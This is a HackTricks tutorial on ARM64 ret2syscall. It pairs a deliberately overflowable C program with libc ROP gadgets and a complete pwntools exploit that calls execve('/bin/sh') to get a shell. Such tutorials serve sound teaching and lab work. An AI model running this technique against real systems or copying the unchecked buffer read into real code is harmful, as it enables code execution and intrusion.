Ret2syscall - ARM64 - HackTricks

# Ret2syscall - ARM64

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.

Find an introduction to arm64 in:

Introduction to ARM64v8

## Code

We are going to use the example from the page:

Ret2win - arm64

    #include <stdio.h>
    #include <unistd.h>

    void win() {
        printf("Congratulations!\n");
    }

    void vulnerable_function() {
        char buffer[64];
        read(STDIN_FILENO, buffer, 256); // <-- bof vulnerability
    }

    int main() {
        vulnerable_function();
        return 0;
    }

Compile without pie and canary:

    clang -o ret2win ret2win.c -fno-stack-protector

## Gadgets

In order to prepare the call for the syscall it's needed the following configuration:

- `x8: 221 Specify sys_execve`
- `x0: ptr to "/bin/sh" specify file to execute`
- `x1: 0 specify no arguments passed`
- `x2: 0 specify no environment variables passed`

Using ROPgadget.py I was able to locate the following gadgets in the libc library of the machine:

    ;Load x0, x1 and x3 from stack and x5 and call x5
    0x0000000000114c30:
        ldp x3, x0, [sp, #8] ;
        ldp x1, x4, [sp, #0x18] ;
        ldr x5, [sp, #0x58] ;
        ldr x2, [sp, #0xe0] ;
        blr x5

    ;Move execve syscall (0xdd) to x8 and call it
    0x00000000000bb97c :
        nop ;
        nop ;
        mov x8, #0xdd ;
        svc #0

With the previous gadgets we can control all the needed registers from the stack and use x5 to jump to the second gadget to call the syscall.

> [!TIP] Note that knowing this info from the libc library also allows to do a ret2libc attack, but lets use it for this current example.

### Exploit

    from pwn import *

    p = process('./ret2syscall')
    elf = context.binary = ELF('./ret2syscall')
    libc = ELF("/usr/lib/aarch64-linux-gnu/libc.so.6")
    libc.address = 0x0000fffff7df0000 # ASLR disabled
    binsh = next(libc.search(b"/bin/sh"))

    stack_offset = 72

    #0x0000000000114c2c : bl #0x133070 ; ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5
    load_x0_x1_x2 = libc.address + 0x114c30 # ldp x3, x0, [sp, #8] ; ldp x1, x4, [sp, #0x18] ; ldr x5, [sp, #0x58] ; ldr x2, [sp, #0xe0] ; blr x5

    # 0x00000000000bb97c : nop ; nop ; mov x8, #0xdd ; svc #0
    call_execve = libc.address + 0xbb97c

    print("/bin/sh in: " + hex(binsh))
    print("load_x0_x1_x2 in: " + hex(load_x0_x1_x2))
    print("call_execve in: " + hex(call_execve))

    # stack offset
    bof = b"A" * (stack_offset)
    bof += p64(load_x0_x1_x2)

    # ldp x3, x0, [sp, #8]
    rop = b"BBBBBBBBBBBBBBBB" #x3
    rop += p64(binsh) #x0

    # ldp x1, x4, [sp, #0x18]
    rop += b"C"*(0x18 - len(rop))
    rop += p64(0x00) # x1
    rop += b"CCCCCCCC" #x4

    # ldr x5, [sp, #0x58]
    rop += b"D"*(0x58 - len(rop))
    rop += p64(call_execve) # x5

    # ldr x2, [sp, #0xe0]
    rop += b"E" * (0xe0 - len(rop))
    rop += p64(0x00) # x2

    payload = bof + rop

    p.sendline(payload)

    p.interactive()

> [!TIP] Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
> Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

> Support HackTricks
> - Check the subscription plans!
> - Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
> - Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.